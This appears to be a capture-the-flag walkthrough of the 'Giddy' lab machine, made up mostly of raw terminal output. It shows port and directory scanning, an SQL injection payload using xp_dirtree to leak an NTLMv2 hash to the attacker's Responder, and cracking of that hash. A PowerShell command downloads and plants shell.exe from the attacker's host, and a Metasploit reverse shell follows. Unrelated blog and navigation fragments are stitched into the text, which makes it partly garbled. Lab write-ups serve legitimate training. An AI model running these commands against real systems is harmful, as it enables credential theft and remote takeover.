

```
root@kali:~/Masaüstü/giddy# nmap -sS -sV -p- -T4 10.10.10.104
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-15 22:11 +03
Stats: 0:05:14 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 82.19% done; ETC: 22:17 (0:01:08 remaining)
Nmap scan report for 10.10.10.104
Host is up (0.25s latency).
Not shown: 65531 filtered ports
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
443/tcp   open  ssl/http     Microsoft IIS httpd 10.0
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

```
root@kali:~/Masaüstü/giddy# gobuster -u http://10.10.10.104 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o gobuster.txt -e
```

```
=====
Gobuster v2.0.0                OJ Reeves (@TheColonial)
=====
[+] Mode           : dir
[+] Url/Domain     : http://10.10.10.104/
[+] Threads       : 10
[+] Wordlist        : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes   : 200,204,301,302,307,403
[+] Expanded       : true
[+] Timeout        : 10s
=====
```

```
2019/01/15 22:10:21 Starting gobuster
=====
```

```
http://10.10.10.104/remote (Status: 302)
http://10.10.10.104/mvc (Status: 301)
http://10.10.10.104/Remote (Status: 302)
```

```
root@kali:~/Masaüstü/giddy# responder -wrf --lm -v -I tun0
```



NBT-NS, LLMNR & MDNS Responder 2.3.3.9

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:

LLMNR	[ON]
NBT-NS	[ON]
DNS/MDNS	[ON]

[+] Servers:

HTTP server	[ON]
HTTPS server	[ON]
WPAD proxy	[ON]
Auth proxy	[OFF]
SMB server	[ON]
Kerberos server	[ON]
SQL server	[ON]
FTP server	[ON]
IMAP server	[ON]
POP3 server	[ON]
SMTP server	[ON]
DNS server	[ON]
LDAP server	[ON]

[+] HTTP Options:

Always serving EXE	[OFF]
Serving EXE	[OFF]
Serving HTML	[OFF]

10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=9;EXEC('master..xp_dirtree "\\10.10.13.128");

ity Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng Kali Forums NetHunter Kali Training Getting Started

your logo here

Register Log in

Home About Contact Search

There are 2 products

Name	ProductNumber	Price
Rear Derailleur	RD-2308	\$121.46
Front Derailleur	FD-2342	\$91.49

© 2019 - My ASP.NET Application

```
[+] Listening for events...  
[SMB] NTLMv2 Client : 10.10.10.104  
[SMB] NTLMv2 Username : GIDDY\Stacy  
[SMB] NTLMv2 Hash : Stacy::GIDDY:13f230a52eef24f4:37DD2E82D978D66ABBC619D283816ACE:0101000000000000ABC4E5507ADD4010789AA9F12F19EF10000000020000000000000000000000000000
```

```
root@kali:~/Masaüstü/giddy# john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x      (Stacy)
lg 0:00:00:02 DONE (2019-01-15 22:23) 0.4830g/s 1300Kp/s 1300Kc/s 1300KC/s xavas..x215534x
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
```

https://10.10.10.104/remote/en-US/logon.aspx

Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng Kali Forums NetHunter

Windows Server 2016

Windows PowerShell Web Access

Enter your credentials and connection settings

User name: GIDDY\Stacy

Password: ●●●●●●●●●●●●●●●●

Connection type: Computer Name

Computer name: GIDDY

Optional connection settings

Sign In

© 2016 Microsoft Corporation. All rights reserved.

https://10.10.10.104/Remote/en-US/console.aspx

Kali Linux Kali Docs Kali Tools Exploit-DB Aircrack-ng Kali Forums NetHunter Kali Training

```
Windows PowerShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\Stacy\Documents>
cd ..
PS C:\Users\Stacy>
cd .\Desktop
PS C:\Users\Stacy\Desktop>
dir

Directory: C:\Users\Stacy\Desktop

Mode                LastWriteTime         Length Name
----                -
-a----         6/17/2018  10:53 AM             32 user.txt

PS C:\Users\Stacy\Desktop>
type user.txt
10C1C275385280605E96ADD808C1A0AD
PS C:\Users\Stacy\Desktop>
```

Submit Cancel History: ↑ ↓ Connected to: GIDDY Save Exit

Phantom Evasion – Bypassing Anti-Virus and Hacking Windows ,Linux,Mac OS X and Android

Posted by
RAJNEESH BORTHAKUR

Categories
HACKING & SECURITY, KALI LINUX, SOCIAL ENGINEERING

Date
APRIL 24, 2018



Windows PowerShell

Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\Users\Stacy\Documents>

cd ..

PS C:\Users\Stacy>

cd ..

PS C:\Users>

cd ..

PS C:\>

cd .\ProgramData

PS C:\ProgramData>

cd .\unifi-video

PS C:\ProgramData\unifi-video>

Invoke-WebRequest -Uri <http://10.10.13.128:8081/shell.exe> -OutFile taskkill.exe

PS C:\ProgramData\unifi-video>

|

```
root@kali:/opt/Phantom-Evasion# ls
LICENSE  Modules  phantom-evasion.py  README.md  Setup  shell.exe
root@kali:/opt/Phantom-Evasion# python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.10.104 - - [17/Jan/2019 21:16:54] "GET /shell.exe HTTP/1.1" 200 -
10.10.10.104 - - [17/Jan/2019 21:26:38] "GET /shell.exe HTTP/1.1" 200 -
```

```
PS C:\ProgramData\unifi-video>
```

```
Restart-Service -Name "Ubiquiti UniFi Video"
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
WARNING: Waiting for service 'Ubiquiti UniFi Video (UniFiVideoService)' to stop...
```

```
msf exploit(multi/handler) > run
```

```
[*] Started reverse TCP handler on 10.10.13.128:6666
```

```
[*] Sending stage (179779 bytes) to 10.10.10.104
```

```
meterpreter > shell
```

```
Process 4204 created.
```

```
Channel 1 created.
```

```
Microsoft Windows [Version 10.0.14393]
```

```
(c) 2016 Microsoft Corporation. All rights reserved.
```

```
C:\ProgramData\unifi-video>more C:\Users\Administrator\Desktop\root.txt
```

```
more C:\Users\Administrator\Desktop\root.txt
```

```
CF559C6C121F683BF3E56891E80641B1
```

```
C:\ProgramData\unifi-video>
```